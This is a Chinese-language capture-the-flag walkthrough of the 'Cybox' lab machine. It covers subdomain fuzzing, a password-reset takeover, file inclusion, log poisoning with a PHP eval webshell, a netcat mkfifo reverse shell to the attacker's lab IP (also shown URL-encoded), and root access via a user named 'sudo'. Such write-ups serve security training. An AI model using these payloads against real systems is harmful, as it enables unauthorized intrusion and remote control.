打靶-Cybox

前言

kali IP:192.168.0.112

靶机IP :192.168.0.113

Difficulty: Medium

Objective: Get user.txt and root.txt

中途没理清代理怎么搞的

第二天来做ip换了

kali:192.168.131.28

靶机:192.168.131.132

渗透过程

端口探测

image-20240810201621101

看这样子入口点还是80web页面

扫扫目录

image-20240810201801643

发现存在phpmyadmin但只允许127.0.0.1访问

assets下也都是些css或js文件

Contact: admin@cybox.company

web页面最下脚发现有这个联系方式,

扫了半天没啥发现啊也,看这些端口不应该啊

实属没思路了,看看wp了

域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下

1
vim /etc/hosts

image-20240810203607703

后面用gobuster扫描,一款基于go语言的目录/文件和DNS爆破工具,可以对目录、文件、DNS和VHost等对象进行暴力破解攻击,下载链接https://github.com/OJ/gobuster,kali下可以直接**apt-get install gobuster**进行安装

爆破子域名

1
gobuster vhost -u http://cybox.company -w /usr/share/wordlists/dirb/big.txt

md,为什么我扫不到

image-20240810210232097

偷个图

1613185261_602740ed17c722505dc45

后面挨个,我真服了,后边不满意又去搞,换版本了也不行。。。

到底怎么啦,我代理也没问题啊。草草草草草

后面换了工具

1
wfuzz -H 'HOST: FUZZ.cybox.company' -u 'http://192.168.131.132' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  --hw 489,27

终于是扫出来了

image-20240811094723008

编辑/etc/hosts

image-20240811095203865

后面各个页面都去访问了

http://monitor.cybox.company随便注册一个登录上没啥

image-20240810214548915

很明显这是个邮箱,尝试前面的邮箱admin@cybox.company,试了好几个密码,显示密码不对

忘记密码页面也是发送到相应的邮箱

到邮箱登录页面webmail,登录,发现无法登录,一直显示密码用户名不匹配,说明两边的用户不互通,但我们这时还有一个之前的register.cybox.company/目录,用它创建一个同名用户aa

image-20240810214914468

之后到http://webmail.cybox.company/src/login.php去登录

image-20240810215002083

突然反应过来,这是个邮箱系统,邮箱是aa@cybox.company,按理说应该能接受前面修改密码的邮件,但是我前面邮箱是@qq.com.这里在http://monitor.cybox.company/register.php重新创建一个aa@cybox.company

然后去忘记密码发送到此邮箱,之后收到有点

image-20240810215357478

抓包修改密码页面,将邮箱改为admin可发现直接越权修改密码

image-20240811110439446

登录之后发现有一个adminpanel

image-20240811110602095

查看源代码发现可疑点,经测试存在文件包含,末尾加一个%00image-20240811110853603

image-20240811110841416

尝试进行日志文件包含写马,

http://dev.cybox.company/phpinfo.php页面发现日志所在位置

image-20240811111506440

apache的日志目录为/opt/bitnami/apache2/logs/,请求日志文件为access_log,错误日志文件为error_log,我们包含请求日志看一下,可以看到,这是ftp页面的请求日志

image-20240811111603623

通过看日志会发现,日志里会有ftp页面的信息,其他页面好像没有,所以通过ftp页面写马

1
<?php @eval($_POST['a']);?>

image-20240811112036598

回去执行命令发现成功

image-20240811112301726

直接反弹shell,url编码一下

这里只能用443,因为只有443端口允许数据包通信

1
2
3
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.131.28 443 >/tmp/f');  

a=%73%79%73%74%65%6d%28%27%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%39%32%2e%31%36%38%2e%31%33%31%2e%32%38%20%34%34%33%20%3e%2f%74%6d%70%2f%66%27%29%3b

image-20240811113844807

反弹shell后,查看权限文件,

重点关注/opt/registerlauncher。切换到/opt目录下,运行registerlauncher,发现就是之前register.cybox.company调用的程序。

1
2
3
python -c 'import pty; pty.spawn("/bin/bash")' 
file registerlauncher
strings registerlauncher //查看二进制文件

该二进制文件除了调用一些函数外,还调用了/opt/register这个文件,去看看这个文件啥内容

image-20240811125940866

image-20240811130021189

创建一个用户,并且-g为这个用户分配一个组,组名就是用户名。

在linux系统中,有一个sudo组,这个组里的用户可以通过sudo执行需要root权限的命令。

试想创建一个sudo用户,就会自动分配到sudo组里,再查看sudo用户的权限。

1
2
3
4
./registerlauncher sudo 
su sudo
sudo bash
cat root.txt

image-20240811130340502

总结

我也不清楚为啥gobuster为啥扫不出来,难不成是我没配好环境,那为什么wfuzz可以,gobuster这个工具被我拉黑了。。。。气死我了,这个环境也是第一次接触到。扫描子域名,环境挺多的,挺难蹦的,加上kali的burp用上去有点卡,本次做题体验感额,一言难尽。中途想把环境拉到windows上去做,结果我不会代理,只能在浏览器访问,后面无法抓包了